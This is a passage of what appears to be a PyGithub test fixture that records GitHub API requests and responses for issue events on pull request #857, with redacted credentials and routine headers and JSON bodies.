merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1782472556 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"65593ed1fd105d2321c5699f189f3cdc41955eb254f2092b33579b840cd3b86a"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4981'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '19'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A5BE:236110:229370D3:2374A4BA:677847C6')] {"id":1782472556,"node_id":"MDE3OlJlbmFtZWRUaXRsZUV2ZW50MTc4MjQ3MjU1Ng==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782472556","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"renamed","commit_id":null,"commit_url":null,"created_at":"2018-08-10T13:15:18Z","rename":{"from":"Adding new attributes to IssueEvent Object (DO NOT MERGE - SEE NOTES)","to":"Adding new attributes to IssueEvent"},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1782915693 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"06cb69bbbd22a673e81ad0c2a86cf333bdc8bfdbf45794b3dde9d78dd679e3e4"'), ('Last-Modified', 'Mon, 25 Jul 2022 14:31:35 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4980'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '20'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A5CA:7CD91:22C51EF9:23A96553:677847C7')] {"id":1782915693,"node_id":"MDE5OkJhc2VSZWZDaGFuZ2VkRXZlbnQxNzgyOTE1Njkz","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782915693","actor":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"base_ref_changed","commit_id":null,"commit_url":null,"created_at":"2018-08-10T16:38:22Z","issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1782917185 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:43 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b14653b30577b18572b4ff4b10f1d5e50bcd88e6a40ccdc6398352f2fa214531"'), ('Last-Modified', 'Mon, 25 Jul 2022 14:31:35 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '21'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B8AA:88FDE:22B3762F:2397BBD0:677847C7')] {"id":1782917185,"node_id":"MDE5OkhlYWRSZWZEZWxldGVkRXZlbnQxNzgyOTE3MTg1","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782917185","actor":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"head_ref_deleted","commit_id":null,"commit_url":null,"created_at":"2018-08-10T16:39:20Z","issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1782917299 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"bea36fdb854c959e456898c1ec3bf74c94e2dfe3c360e09e1b3b89eb3c4a9cd2"'), ('Last-Modified', 'Mon, 25 Jul 2022 14:31:35 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4978'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '22'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B8B6:521E5:22CB7C8C:23AFC1C1:677847C7')] {"id":1782917299,"node_id":"MDIwOkhlYWRSZWZSZXN0b3JlZEV2ZW50MTc4MjkxNzI5OQ==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782917299","actor":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"head_ref_restored","commit_id":null,"commit_url":null,"created_at":"2018-08-10T16:39:23Z","issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1783596418 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b3e87e6cf16cf47a721d8bc10fbc4ffd64bbdccfb5de69a81fa08c2138421e97"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B8BC:44383:228E7B5C:2372C04F:677847C8')] 